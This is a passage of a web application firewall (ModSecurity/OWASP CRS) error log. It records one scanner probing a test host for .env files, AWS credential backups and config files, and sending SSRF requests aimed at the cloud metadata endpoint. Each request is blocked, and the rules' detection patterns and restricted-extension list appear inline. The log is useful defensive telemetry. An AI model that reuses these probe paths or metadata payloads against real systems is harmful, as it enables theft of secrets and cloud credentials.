[Sun Mar 22 01:06:14.853870 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;ab8ydtb4J9WjFZPQ70DhnAAAAAU&quot;]
[Sun Mar 22 01:06:14.876010 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /apps/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;ab8ydtb4J9WjFZPQ70DhnQAAAAU&quot;]
[Sun Mar 22 01:06:14.876207 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;ab8ydtb4J9WjFZPQ70DhnQAAAAU&quot;]
[Sun Mar 22 01:06:14.876343 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;ab8ydtb4J9WjFZPQ70DhnQAAAAU&quot;]
[Sun Mar 22 01:06:14.989916 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Warning. Pattern match &quot;^(?i:file|ftps?|https?):\\\\/\\\\/(?:\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})&quot; at ARGS:target. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf&quot;] [line &quot;54&quot;] [id &quot;931100&quot;] [msg &quot;Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address&quot;] [data &quot;Matched Data: http://169.254.169.254 found within ARGS:target: http://169.254.169.254/latest/meta-data/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/RFI&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws-admin&quot;] [unique_id &quot;ab8ydtb4J9WjFZPQ70DhogAAAAU&quot;]
[Sun Mar 22 01:06:14.990250 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws-admin&quot;] [unique_id &quot;ab8ydtb4J9WjFZPQ70DhogAAAAU&quot;]
[Sun Mar 22 01:06:14.990414 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws-admin&quot;] [unique_id &quot;ab8ydtb4J9WjFZPQ70DhogAAAAU&quot;]
[Sun Mar 22 01:06:15.012636 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Warning. Pattern match &quot;^(?i:file|ftps?|https?):\\\\/\\\\/(?:\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})&quot; at ARGS:url. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf&quot;] [line &quot;54&quot;] [id &quot;931100&quot;] [msg &quot;Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address&quot;] [data &quot;Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/RFI&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws-api&quot;] [unique_id &quot;ab8yd9b4J9WjFZPQ70DhowAAAAU&quot;]
[Sun Mar 22 01:06:15.012955 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws-api&quot;] [unique_id &quot;ab8yd9b4J9WjFZPQ70DhowAAAAU&quot;]
[Sun Mar 22 01:06:15.013088 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws-api&quot;] [unique_id &quot;ab8yd9b4J9WjFZPQ70DhowAAAAU&quot;]
[Sun Mar 22 01:06:15.080970 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /aws/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/.env&quot;] [unique_id &quot;ab8yd9b4J9WjFZPQ70DhpgAAAAU&quot;]
[Sun Mar 22 01:06:15.081165 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/.env&quot;] [unique_id &quot;ab8yd9b4J9WjFZPQ70DhpgAAAAU&quot;]
[Sun Mar 22 01:06:15.081303 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/.env&quot;] [unique_id &quot;ab8yd9b4J9WjFZPQ70DhpgAAAAU&quot;]
[Sun Mar 22 01:06:15.103613 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /aws/.env.prod&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/.env.prod&quot;] [unique_id &quot;ab8yd9b4J9WjFZPQ70DhpwAAAAU&quot;]
[Sun Mar 22 01:06:15.103807 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/.env.prod&quot;] [unique_id &quot;ab8yd9b4J9WjFZPQ70DhpwAAAAU&quot;]
[Sun Mar 22 01:06:15.103945 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/.env.prod&quot;] [unique_id &quot;ab8yd9b4J9WjFZPQ70DhpwAAAAU&quot;]
[Sun Mar 22 01:06:15.173937 2026] [:error] [pid 2857384] [client 185.177.72.38:49202] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /aws/.env.ses&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/.env.ses&quot;] [unique_id &quot;ab8ydwYP1jEXrqk5bL97lAAAAAE&quot;]
[Sun Mar 22 01:06:15.174140 2026] [:error] [pid 2857384] [client 185.177.72.38:49202] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/.env.ses&quot;] [unique_id &quot;ab8ydwYP1jEXrqk5bL97lAAAAAE&quot;]
[Sun Mar 22 01:06:15.174271 2026] [:error] [pid 2857384] [client 185.177.72.38:49202] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/.env.ses&quot;] [unique_id &quot;ab8ydwYP1jEXrqk5bL97lAAAAAE&quot;]
[Sun Mar 22 01:06:15.468158 2026] [:error] [pid 2857384] [client 185.177.72.38:49202] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/config.ini&quot;] [unique_id &quot;ab8ydwYP1jEXrqk5bL97oQAAAAE&quot;]
[Sun Mar 22 01:06:15.468549 2026] [:error] [pid 2857384] [client 185.177.72.38:49202] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/config.ini&quot;] [unique_id &quot;ab8ydwYP1jEXrqk5bL97oQAAAAE&quot;]
[Sun Mar 22 01:06:15.468696 2026] [:error] [pid 2857384] [client 185.177.72.38:49202] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/config.ini&quot;] [unique_id &quot;ab8ydwYP1jEXrqk5bL97oQAAAAE&quot;]
[Sun Mar 22 01:06:16.080884 2026] [:error] [pid 2857384] [client 185.177.72.38:49202] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /aws/s3/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/s3/.env&quot;] [unique_id &quot;ab8yeAYP1jEXrqk5bL97vAAAAAE&quot;]
[Sun Mar 22 01:06:16.081084 2026] [:error] [pid 2857384] [client 185.177.72.38:49202] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/s3/.env&quot;] [unique_id &quot;ab8yeAYP1jEXrqk5bL97vAAAAAE&quot;]
[Sun Mar 22 01:06:16.081211 2026] [:error] [pid 2857384] [client 185.177.72.38:49202] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/s3/.env&quot;] [unique_id &quot;ab8yeAYP1jEXrqk5bL97vAAAAAE&quot;]
[Sun Mar 22 01:06:16.125679 2026] [:error] [pid 2857384] [client 185.177.72.38:49202] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/s3/credentials.bak&quot;] [unique_id &quot;ab8yeAYP1jEXrqk5bL97vgAAAAE&quot;]
[Sun Mar 22 01:06:16.126072 2026] [:error] [pid 2857384] [client 185.177.72.38:49202] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/s3/credentials.bak&quot;] [unique_id &quot;ab8yeAYP1jEXrqk5bL97vgAAAAE&quot;]
[Sun Mar 22 01:06:16.126210 2026] [:error] [pid 2857384] [client 185.177.72.38:49202] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/s3/credentials.bak&quot;] [unique_id &quot;ab8yeAYP1jEXrqk5bL97vgAAAAE&quot;]
[Sun Mar 22 01:06:16.783783 2026] [:error] [pid 2857384] [client 185.177.72.38:49202] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /awstats/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awstats/.env&quot;] [unique_id &quot;ab8yeAYP1jEXrqk5bL972wAAAAE&quot;]
[Sun Mar 22 01:06:16.783980 2026] [:error] [pid 2857384] [client 185.177.72.38:49202] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awstats/.env&quot;] [unique_id &quot;ab8yeAYP1jEXrqk5bL972wAAAAE&quot;]
[Sun Mar 22 01:06:16.784100 2026] [:error] [pid 2857384] [client 185.177.72.38:49202] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awstats/.env&quot;] [unique_id &quot;ab8yeAYP1jEXrqk5bL972wAAAAE&quot;]
[Sun Mar 22 01:06:17.044151 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] 